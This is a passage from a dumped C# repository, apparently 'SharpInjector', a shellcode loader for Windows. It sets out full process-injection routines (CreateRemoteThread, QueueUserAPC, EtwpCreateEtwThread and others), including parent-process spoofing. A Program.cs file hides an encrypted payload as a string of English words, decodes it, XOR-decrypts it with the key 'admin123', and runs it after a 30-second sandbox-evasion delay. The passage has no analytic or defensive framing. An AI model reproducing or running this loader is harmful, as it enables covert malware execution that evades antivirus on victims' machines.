Console.WriteLine("[*] Calling CreateFiber..."); //5.Call CreateFiber on shellcode address IntPtr fiber = WinAPI.CreateFiber(0, address, IntPtr.Zero); if (fiber == IntPtr.Zero) { //clean Marshal.FreeHGlobal(ShellCode_Pointer); //return return; } //6.Call SwitchToFiber to start the fiber and execute the shellcode WinAPI.SwitchToFiber(fiber); //For some reason, switch to fiber for the main thread as well. NOT SURE ABOUT THIS WinAPI.SwitchToFiber(fiberAddr); //CLEAN UP AFTERWARDS. Marshal.FreeHGlobal(ShellCode_Pointer); } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/CreateRemoteThread.cs ================================================ using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace SharpInjector { class CreateRemoteThread { public static void ExecuteCreateRemoteThread(string ParentName, string ProgramPath, byte[] Shellcode) { WinAPI.STARTUPINFOEX StartupInfoEx = new WinAPI.STARTUPINFOEX(); IntPtr lpSize = IntPtr.Zero; WinAPI.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); StartupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); WinAPI.InitializeProcThreadAttributeList(StartupInfoEx.lpAttributeList, 1, 0, ref lpSize); // Get handle on parent Process ParentProcess = Process.GetProcessesByName(ParentName)[0]; Console.WriteLine($"[*] Found parent process: {ParentProcess.ProcessName} (pid: {ParentProcess.Id})"); IntPtr ParentHandle = WinAPI.OpenProcess(WinAPI.ProcessAccessFlags.PROCESS_CREATE_PROCESS | WinAPI.ProcessAccessFlags.PROCESS_DUP_HANDLE, false, ParentProcess.Id); IntPtr lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, ParentHandle); WinAPI.UpdateProcThreadAttribute(StartupInfoEx.lpAttributeList, 0, (IntPtr)WinAPI.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); WinAPI.SECURITY_ATTRIBUTES ps = new WinAPI.SECURITY_ATTRIBUTES(); WinAPI.SECURITY_ATTRIBUTES ts = new WinAPI.SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); IntPtr bytesWritten = IntPtr.Zero; WinAPI.PROCESS_INFORMATION ProcessInfo = new WinAPI.PROCESS_INFORMATION(); bool success = WinAPI.CreateProcess( ProgramPath, null, ref ps, ref ts, true, WinAPI.ProcessCreationFlags.CREATE_SUSPENDED | WinAPI.ProcessCreationFlags.CREATE_NO_WINDOW | WinAPI.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref StartupInfoEx, out ProcessInfo); if (ProcessInfo.hProcess == IntPtr.Zero) { return; } Console.WriteLine($"[*] Spwaned new instance of {ProgramPath} (pid: {ProcessInfo.dwProcessId})"); Process Target = Process.GetProcessById((int)ProcessInfo.dwProcessId); Console.WriteLine("[*] Allocating shellcode..."); IntPtr Address = WinAPI.VirtualAllocEx(Target.Handle, IntPtr.Zero, Shellcode.Length, WinAPI.MEM_COMMIT, WinAPI.PAGE_READWRITE); if (Address == IntPtr.Zero) { WinAPI.TerminateProcess(ProcessInfo.hProcess, 0); return; } if (!WinAPI.WriteProcessMemory(ProcessInfo.hProcess, Address, Shellcode, Shellcode.Length, out bytesWritten)) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } if (!WinAPI.VirtualProtectEx(ProcessInfo.hProcess, Address, Shellcode.Length, WinAPI.PAGE_EXECUTE_READ, out uint OldProtect)) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } Console.WriteLine("[*] Calling CreateRemoteThread..."); IntPtr hThread = WinAPI.CreateRemoteThread(ProcessInfo.hProcess, IntPtr.Zero, 0, Address, IntPtr.Zero, 0, IntPtr.Zero); if (hThread == IntPtr.Zero) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } Console.WriteLine("[*] Shellcode executed"); } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/CreateRemoteThreadEx.cs ================================================ using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace SharpInjector { class CreateRemoteThreadEx { public static void ExecuteCreateRemoteThreadEx(string ParentName, string ProgramPath, byte[] Shellcode) { WinAPI.STARTUPINFOEX StartupInfoEx = new WinAPI.STARTUPINFOEX(); IntPtr lpSize = IntPtr.Zero; WinAPI.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); StartupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); WinAPI.InitializeProcThreadAttributeList(StartupInfoEx.lpAttributeList, 1, 0, ref lpSize); // Get handle on parent Process ParentProcess = Process.GetProcessesByName(ParentName)[0]; Console.WriteLine($"[*] Found parent process: {ParentProcess.ProcessName} (pid: {ParentProcess.Id})"); IntPtr ParentHandle = WinAPI.OpenProcess(WinAPI.ProcessAccessFlags.PROCESS_CREATE_PROCESS | WinAPI.ProcessAccessFlags.PROCESS_DUP_HANDLE, false, ParentProcess.Id); IntPtr lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, ParentHandle); WinAPI.UpdateProcThreadAttribute(StartupInfoEx.lpAttributeList, 0, (IntPtr)WinAPI.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); WinAPI.SECURITY_ATTRIBUTES ps = new WinAPI.SECURITY_ATTRIBUTES(); WinAPI.SECURITY_ATTRIBUTES ts = new WinAPI.SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); IntPtr bytesWritten = IntPtr.Zero; WinAPI.PROCESS_INFORMATION ProcessInfo = new WinAPI.PROCESS_INFORMATION(); bool success = WinAPI.CreateProcess( ProgramPath, null, ref ps, ref ts, true, WinAPI.ProcessCreationFlags.CREATE_SUSPENDED | WinAPI.ProcessCreationFlags.CREATE_NO_WINDOW | WinAPI.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref StartupInfoEx, out ProcessInfo); if (ProcessInfo.hProcess == IntPtr.Zero) { return; } Console.WriteLine($"[*] Spwaned new instance of {ProgramPath} (pid: {ProcessInfo.dwProcessId})"); Process Target = Process.GetProcessById((int)ProcessInfo.dwProcessId); Console.WriteLine("[*] Allocating shellcode..."); IntPtr Address = WinAPI.VirtualAllocEx(Target.Handle, IntPtr.Zero, Shellcode.Length, WinAPI.MEM_COMMIT, WinAPI.PAGE_READWRITE); if (Address == IntPtr.Zero) { WinAPI.TerminateProcess(ProcessInfo.hProcess, 0); return; } if (!WinAPI.WriteProcessMemory(ProcessInfo.hProcess, Address, Shellcode, Shellcode.Length, out bytesWritten)) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } if (!WinAPI.VirtualProtectEx(ProcessInfo.hProcess, Address, Shellcode.Length, WinAPI.PAGE_EXECUTE_READ, out uint OldProtect)) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } Console.WriteLine("[*] Calling CreateRemoteThreadEx..."); IntPtr hThread = WinAPI.CreateRemoteThreadEx(ProcessInfo.hProcess, IntPtr.Zero, 0, Address, IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero); if (hThread == IntPtr.Zero) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } Console.WriteLine("[*] Shellcode executed"); } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/CreateThread.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; namespace SharpInjector { class CreateThread { public static void ExecuteCreateThread(byte[] Shellcode) { IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; Console.WriteLine("[*] Allocating shellcode in current process..."); IntPtr Address = WinAPI.VirtualAlloc(IntPtr.Zero, Shellcode.Length, WinAPI.MEM_COMMIT, WinAPI.PAGE_READWRITE); if (Address == IntPtr.Zero) { return; } Marshal.Copy(Shellcode, 0, Address, Shellcode.Length); if (!WinAPI.VirtualProtect(Address, Shellcode.Length, WinAPI.PAGE_EXECUTE_READ, out uint OldProtect)) { WinAPI.VirtualFree(Address, 0, WinAPI.FreeType.MEM_RELEASE); return; } Console.WriteLine("[*] Calling CreateThread..."); hThread = WinAPI.CreateThread((IntPtr)0, 0, Address, IntPtr.Zero, 0, ref threadId); if (hThread == IntPtr.Zero) { WinAPI.VirtualFree(Address, 0, WinAPI.FreeType.MEM_RELEASE); return; } WinAPI.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("[*] Shellcode executed"); } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/EtwpCreateEtwThread.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.IO; using System.Diagnostics; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Security.Cryptography; namespace SharpInjector { class EtwpCreateEtwThread { public static void ExecuteEtwpCreateEtwThread(byte[] Shellcode) { Console.WriteLine("[*] Allocating shellcode in current process..."); IntPtr Address = WinAPI.VirtualAlloc(IntPtr.Zero, Shellcode.Length, WinAPI.MEM_COMMIT | WinAPI.MEM_RESERVE, WinAPI.PAGE_READWRITE); if (Address == IntPtr.Zero) { return; } IntPtr ShellCode_Pointer = Marshal.AllocHGlobal(Shellcode.Length); Marshal.Copy(Shellcode, 0, ShellCode_Pointer, Shellcode.Length); WinAPI.RtlCopyMemory(Address, ShellCode_Pointer, Shellcode.Length); WinAPI.VirtualProtect(Address, Shellcode.Length, WinAPI.PAGE_EXECUTE_READ, out uint OldProtect); Console.WriteLine("[*] Calling EtwpCreateEtwThread..."); IntPtr location = WinAPI.EtwpCreateEtwThread(Address, IntPtr.Zero); WinAPI.WaitForSingleObject(location, 0xFFFFFFFF); Console.WriteLine("[*] Shellcode executed"); } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/Program.cs ================================================ using System; using System.IO; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Diagnostics; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Net; using System.Threading; namespace SharpInjector { class Program { private static byte[] xor(byte[] cipher, byte[] key) { byte[] decrypted = new byte[cipher.Length]; for (int i = 0; i < cipher.Length; i++) { decrypted[i] = (byte)(cipher[i] ^ key[i % key.Length]); } return decrypted; } static void Main(string[] args) { Thread.Sleep(1000*30); Console.WriteLine("seleep over"); string p = "puffs knives definitions offering principal peg footing thermals berths observer knives catch publication berths drive spots strings knives truths anticipation resolution occurrence cuff berths shed knives odors yaws company occurrence cuff berths polish knives odors harbor centimeter occurrence buzzes spans sets noises prefix change guess occurrence lifetimes resident differences change glances updates reliabilities specialties formation scenes cabinet facilities drive addresses friday emergency hills apples thermals airfield welds sod honor alkalinity formation bypasses conversions change airfield accumulations communications monolith telecommunication commanders occurrence friday friday similarity similarity spare twist anticipation berths observer drydocks sod certifications lamps adherence default hardcopies others experiences scope honor occurrence seeds shortages rate sponges thermocouples prefix friday surges bails others hardcopies expiration grids addresses honor ounce spare eighths drive twist prefix change guess occurrence lifetimes resident differences airfield ornaments cabinet alkalinity mules thermals point subtotal spans entrances entry vent expenditures science scratch entries sod default bypasses harbor swamps armory shortages rate sponges chimney prefix friday surges default scenes rate accumulations airfield hazard honor restrictions noises properties drive deletions knives stalls armory cuff properties expenditures sum airfield reams addresses ohms friday count entries prefix welds knives animals publication count properties feeders offering pools knives yaws auditor bails armory scenes catch centimeter airfield stalls slice merchant gyros wave principal expiration animals lifetimes subordinates settings halves pools speeders defeats share analyses resolution prefixes expenditures scenes strings hazard military boy vent bypasses researcher scenes airfields addresses answers information entries jail stones eighths mirrors facilities airfield change ditto slice lifetimes resident knives programmers grids addresses centimeter mules spots scenes airfields sprayer yaws telephone pen jail stones merchant formation centimeter airfield result defections mules stage alkalinity berths observer drydocks sponges artillery rebounds copy spots prefix reams analyses armory publication drive copy recruits ohms clock point defections auditor military peg armory balances knives military nylon chemicals evaluations result properties desert ditto prefix change guess alkalinity radios thermals alkalinity sponges swamps yaws welds mules vacuum merchant homes cash messenger alarms anticipation occurrence anticipation apprehensions hardcopies stones shipments scope share yaws drydocks eighths desert presence airfield result deletions settings apprehensions resident principal expiration glow alarms conversions evaluations stresses berths thermals airfield book pools accumulations hardcopies chimney wave deletions surges facilities professionals certifications ornaments thermals thermals berths knives glow circumstances berths programs communications expenditures berths observer nozzle spare executions gleam thermals thermals berths halves jeopardy alarms auditor jail specialties eighths speeders thermals catch entries thermocouples boy grids gleam eighths programmers shed stage sleep messenger deductions deletions glow vent count shaft acronyms occurrence sum noises telecommunications harbor prefixes ohms pails friday hazard congress circulation answers apples change state deductions addresses stresses defeats radios knob sprayer balances presence principal prefixes executions jail noises restrictions professionals telecommunications pools grids equivalents deviation deletions cavity feeders emergency occurrence shed meters commanders equivalents equivalents reliabilities speeders thermocouples radios strip knives deductions reams chimney suggestions outfit defect share nose defect addresses pull default truths knob fares pools prefix acronyms technician change sprayer artillery evaluations commanders subtotal knob sprayer telecommunications answers mirrors inspection pull specialties speeders answers change mirrors artillery share artillery thermocouples sponges buzzes settings shortages loans subtotal cash hoofs chock builders professionals fares hoofs ounce resolution answers answers builders chief professionals loans default cash truths chock builders others defect radios ounce shed lifetimes specialties polish ounce similarity lifetimes radios pools sponges analyses speeders sprayer spots chock updates glances defeat change knob welds catch thermals harbor eliminator boy auditor homes gyros gyroscope stones programmers principal adherence fans drive subordinates participation cash stones strings defect entries eliminator nozzle harness photograph drive telecommunications twist centimeter surplus result book subtotal resident slopes professionals spokes navy recruits participation noises share voices thermocouples alkalinity addresses boy glances apprehensions share congress scope entries definitions shortages damages intervals differences sleep gyros balances ditto vent routine builders technician hardcopies slice entries slice meters feeders stalls guess researcher meters tents scope speeders change pull gleam crusts adhesives subordinates hardcopies magazine auxiliaries offering balances circulation chock photograph military resolution scratch labors knives conversions rate resolution sets bails addresses slopes eighths cavity fares updates hardcopies shaft routine company puffs defeat eighths polish inspection technician odors animals slopes subordinates labors participation expiration point communications shaft anticipation artillery outfit congress round hills buzzes voices spans programmers swamps shaft hardcopies speeders congress shipments resident chock crusts footing shortage budget radios jeopardy occurrence puffs defeats sum alarms gyroscope budget clock scenes fares merchant sets halves conversions comment reams wave centimeter surges transmitter thermocouples book ounce eighths presence certifications sets comment airfields navy race communications strings observer ticket seeds properties budget cabinet mules centimeter twist specialties fares surplus settings centimeter settings cabinet mirrors ways meters twist lifetimes voices carpet stage auditor cathode hardcopies shipments suggestions copy offering auditor bails jeopardy participation auditor military properties fasteners nylon apples drydocks entries noises suggestions copy carpet berths adhesives drydocks entries publication vacuum scenes thermals berths observer knives sessions ohms presence berths shaft principal sum airfield footing buzzes spots properties spare nozzle knives military entry chemicals bypasses desert scenes peg observer thermocouples entries subordinates settings anticipation weeks prefix apples chief student stones sessions differences odors hardcopies stones cathode chimney certifications lamps adherence sleep analyses slopes armory sod friday point plating resident technician telecommunication reams suggestions ohms occurrence strings thermals berths observer drydocks scope facilities peg facilities jail principal expiration truths mirrors truths alloy lifetimes ounce subtotal cash hoofs knob artillery fasteners lifetimes thermals animals drydocks ammonia share"; string s = "evaluations shed fasteners lifetimes share ounce acronyms analyses speeders pull defeats resolution glances inspection strip telephone telecommunications formation loans technician updates nose scratch entrances crusts answers harbor similarity specialties alloy prefix sod vent conversions sponges airfield chemicals circulation addresses hardcopies seeds sets knives hazard noises publication animals suggestions expenditures thermals homes reams ohms strings catch scope balances yaws welds buzzes centimeter participation defect polish defeat pools prefixes adherence knob routine chimney cash commanders thermocouples builders information mirrors chock fans default programmers messenger monolith change subtotal radios fares truths hoofs sprayer artillery drive berths spots alkalinity observer others professionals outfit accumulations entries armory count reliabilities drydocks subordinates friday mules restrictions scenes copy adhesives company shortages settings occurrence properties eighths slice gyros science chief state spans sleep nozzle executions vacuum recruits stage carpet halves offering round boy auditor glow comment gyroscope presence alarms pails entry voices expiration deductions puffs principal cabinet meters equivalents grids surplus circumstances guess nylon cathode intervals ornaments facilities shipments defections feeders sum twist telecommunication deletions programs auxiliaries plating bypasses cuff spare anticipation ditto experiences communications labors race ways transmitter researcher magazine deviation pen weeks wave differences jail jeopardy hills bails ammonia sessions photograph gleam shaft book merchant peg cavity airfields harness ticket apples result surges stalls eliminator military honor odors stones desert swamps rate certifications spokes clock definitions slopes emergency lamps point resident shortage apprehensions navy budget rebounds congress footing stresses tents damages student"; char[] raw = { (char)0, (char)1, (char)2, (char)3, (char)4, (char)5, (char)6, (char)7, (char)8, (char)9, (char)10, (char)11, (char)12, (char)14, (char)15, (char)16, (char)17, (char)18, (char)19, (char)20, (char)21, (char)22, (char)23, (char)24, (char)25, (char)26, (char)27, (char)28, (char)29, (char)31, (char)32, (char)33, (char)34, (char)35, (char)36, (char)37, (char)38, (char)39, (char)40, (char)41, (char)42, (char)43, (char)44, (char)45, (char)46, (char)47, (char)48, (char)49, (char)50, (char)51, (char)52, (char)53, (char)54, (char)55, (char)56, (char)57, (char)58, (char)59, (char)60, (char)61, (char)62, (char)63, (char)64, (char)65, (char)67, (char)68, (char)69, (char)70, (char)71, (char)72, (char)73, (char)74, (char)75, (char)77, (char)78, (char)79, (char)80, (char)82, (char)83, (char)84, (char)85, (char)86, (char)87, (char)88, (char)89, (char)90, (char)91, (char)92, (char)93, (char)94, (char)95, (char)96, (char)97, (char)98, (char)99, (char)100, (char)101, (char)102, (char)103, (char)104, (char)105, (char)106, (char)107, (char)108, (char)109, (char)110, (char)111, (char)112, (char)113, (char)114, (char)115, (char)116, (char)118, (char)119, (char)120, (char)121, (char)122, (char)123, (char)124, (char)125, (char)126, (char)127, (char)130, (char)132, (char)133, (char)134, (char)135, (char)136, (char)137, (char)138, (char)139, (char)140, (char)141, (char)142, (char)143, (char)145, (char)146, (char)147, (char)148, (char)149, (char)150, (char)151, (char)152, (char)154, (char)155, (char)156, (char)157, (char)158, (char)160, (char)161, (char)162, (char)164, (char)165, (char)166, (char)167, (char)168, (char)169, (char)170, (char)172, (char)173, (char)174, (char)175, (char)176, (char)177, (char)178, (char)179, (char)180, (char)181, (char)182, (char)183, (char)184, (char)185, (char)186, (char)187, (char)188, (char)189, (char)190, (char)191, (char)192, (char)193, (char)194, (char)195, (char)197, (char)198, (char)201, (char)202, (char)204, (char)205, (char)206, (char)207, (char)208, (char)209, (char)210, (char)211, (char)212, (char)213, (char)214, (char)215, (char)216, (char)217, (char)218, (char)219, (char)220, (char)221, (char)222, (char)224, (char)225, (char)226, (char)227, (char)228, (char)229, (char)230, (char)231, (char)232, (char)233, (char)234, (char)235, (char)236, (char)237, (char)238, (char)239, (char)240, (char)241, (char)242, (char)243, (char)244, (char)245, (char)246, (char)247, (char)248, (char)249, (char)250, (char)251, (char)253, (char)254, (char)255 }; string[] sArray = s.Split(' '); string[] pArray = p.Split(' '); char[] ret_char = new char[pArray.Length]; int index = 0; for (int i = 0; i < pArray.Length; ++i) { for (int j = 0; j < sArray.Length; ++j) { if (pArray[i] == sArray[j]) { ret_char[index] = raw[j]; index++; } } } byte[] encryptedShellcode = new byte[ret_char.Length]; for (int k = 0; k < ret_char.Length; k++) { encryptedShellcode[k] = (byte)ret_char[k]; } string key = "admin123"; byte[] shellcode = null; shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); EtwpCreateEtwThread.ExecuteEtwpCreateEtwThread(shellcode); return; } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject [DllImport("kernel32")] private static extern UInt32 VirtualAlloc( UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect ); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); // Decryptor func public static string Dec(string ciphertext) { string key = "01010101010101010101010101010101"; // CHANGE THIS 16/24/32 BYTE VALUE TO MATCH ENCRYPTION KEY byte[] iv = new byte[16]; byte[] buffer = Convert.FromBase64String(ciphertext); using (Aes aes = Aes.Create()) { aes.Key = Encoding.UTF8.GetBytes(key); aes.IV = iv; ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV); using (MemoryStream ms = new MemoryStream(buffer)) { using (CryptoStream cs = new CryptoStream((Stream)ms, decryptor, CryptoStreamMode.Read)) { using (StreamReader sr = new StreamReader((Stream)cs)) { return sr.ReadToEnd(); } } } } } // Execution Types public enum ExecutionMethod { CreateFiber, CreateRemoteThread, CreateRemoteThreadEx, CreateThread, EtwpCreateEtwThread, QueueUserAPC, RtlCreateUserThread } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("SharpInjector")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("SharpInjector")] [assembly: AssemblyCopyright("Copyright © 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("4744c438-5a65-4ec7-89bd-2a027531b2b0")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: demo3/SharpInjector-master/SharpInjector/Properties/Resource1.Designer.cs ================================================ //------------------------------------------------------------------------------ // // 此代码由工具生成。 // 运行时版本:4.0.30319.42000 // // 对此文件的更改可能会导致不正确的行为,并且如果 // 重新生成代码,这些更改将会丢失。 // //------------------------------------------------------------------------------ namespace SharpInjector.Properties { using System; /// /// 一个强类型的资源类,用于查找本地化的字符串等。 /// // 此类是由 StronglyTypedResourceBuilder // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen // (以 /str 作为命令选项),或重新生成 VS 项目。 [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resource1 { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resource1() { } /// /// 返回此类使用的缓存的 ResourceManager 实例。 /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SharpInjector.Properties.Resource1", typeof(Resource1).Assembly); resourceMan = temp; } return resourceMan; } } /// /// 重写当前线程的 CurrentUICulture 属性,对 /// 使用此强类型资源类的所有资源查找执行重写。 /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } /// /// 查找 System.Byte[] 类型的本地化资源。 /// internal static byte[] 莫文蔚___这世界那么多人 { get { object obj = ResourceManager.GetObject("莫文蔚___这世界那么多人", resourceCulture); return ((byte[])(obj)); } } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/Properties/Resource1.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ..\Resources\莫文蔚 - 这世界那么多人.mp3;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: demo3/SharpInjector-master/SharpInjector/QueueUserAPC.cs ================================================ using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace SharpInjector { class QueueUserAPC { public static void ExecuteQueueUserAPC(string ParentName, string ProgramPath, byte[] Shellcode) { WinAPI.STARTUPINFOEX StartupInfoEx = new WinAPI.STARTUPINFOEX(); IntPtr lpSize = IntPtr.Zero; WinAPI.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); StartupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); WinAPI.InitializeProcThreadAttributeList(StartupInfoEx.lpAttributeList, 1, 0, ref lpSize); // Get handle on parent Process ParentProcess = Process.GetProcessesByName(ParentName)[0]; Console.WriteLine($"[*] Found parent process: {ParentProcess.ProcessName} (pid: {ParentProcess.Id})"); IntPtr ParentHandle = WinAPI.OpenProcess(WinAPI.ProcessAccessFlags.PROCESS_CREATE_PROCESS | WinAPI.ProcessAccessFlags.PROCESS_DUP_HANDLE, false, ParentProcess.Id); IntPtr lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValueProc, ParentHandle); WinAPI.UpdateProcThreadAttribute(StartupInfoEx.lpAttributeList, 0, (IntPtr)WinAPI.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); WinAPI.SECURITY_ATTRIBUTES ps = new WinAPI.SECURITY_ATTRIBUTES(); WinAPI.SECURITY_ATTRIBUTES ts = new WinAPI.SECURITY_ATTRIBUTES(); ps.nLength = Marshal.SizeOf(ps); ts.nLength = Marshal.SizeOf(ts); IntPtr bytesWritten = IntPtr.Zero; WinAPI.PROCESS_INFORMATION ProcessInfo = new WinAPI.PROCESS_INFORMATION(); bool success = WinAPI.CreateProcess( ProgramPath, null, ref ps, ref ts, true, WinAPI.ProcessCreationFlags.CREATE_SUSPENDED | WinAPI.ProcessCreationFlags.CREATE_NO_WINDOW | WinAPI.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref StartupInfoEx, out ProcessInfo); if (ProcessInfo.hProcess == IntPtr.Zero) { return; } Console.WriteLine($"[*] Spwaned new instance of {ProgramPath} (pid: {ProcessInfo.dwProcessId})"); Process Target = Process.GetProcessById((int)ProcessInfo.dwProcessId); Console.WriteLine("[*] Allocating shellcode..."); IntPtr Address = WinAPI.VirtualAllocEx(Target.Handle, IntPtr.Zero, Shellcode.Length, WinAPI.MEM_COMMIT, WinAPI.PAGE_READWRITE); if (Address == IntPtr.Zero) { WinAPI.TerminateProcess(ProcessInfo.hProcess, 0); return; } if (!WinAPI.WriteProcessMemory(ProcessInfo.hProcess, Address, Shellcode, Shellcode.Length, out bytesWritten)) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } if (!WinAPI.VirtualProtectEx(ProcessInfo.hProcess, Address, Shellcode.Length, WinAPI.PAGE_EXECUTE_READ, out uint OldProtect)) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } ProcessThreadCollection CurrentThreads = Process.GetProcessById((int)ProcessInfo.dwProcessId).Threads; IntPtr Thread = WinAPI.OpenThread(WinAPI.ThreadAccess.SET_CONTEXT, false, CurrentThreads[0].Id); if (Thread == IntPtr.Zero) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } Console.WriteLine("[*] Calling QueueUserAPC..."); IntPtr Ptr = WinAPI.QueueUserAPC(Address, Thread, IntPtr.Zero); if (Ptr == IntPtr.Zero) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } uint SuspendCount = WinAPI.ResumeThread(ProcessInfo.hThread); if (SuspendCount == 0) { WinAPI.Clean(ProcessInfo.hProcess, Address, Shellcode.Length); return; } Console.WriteLine("[*] Shellcode queued for execution"); } } } ================================================ FILE: demo3/SharpInjector-master/SharpInjector/RtlCreateUserThread.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Runtime.InteropServices; using System.Windows.Forms; using System.Diagnostics; using System.Threading; namespace SharpInjector { class RtlCreateUserThread { public static void ExecuteRtlCreateUserThread(string ParentName, string ProgramPath, byte[] Shellcode) { WinAPI.STARTUPINFOEX StartupInfoEx = new WinAPI.STARTUPINFOEX(); IntPtr lpSize = IntPtr.Zero; WinAPI.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); StartupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); WinAPI.InitializeProcThreadAttributeList(StartupInfoEx.lpAttributeList, 1, 0, ref lpSize); // Get handle on parent Process ParentProcess = 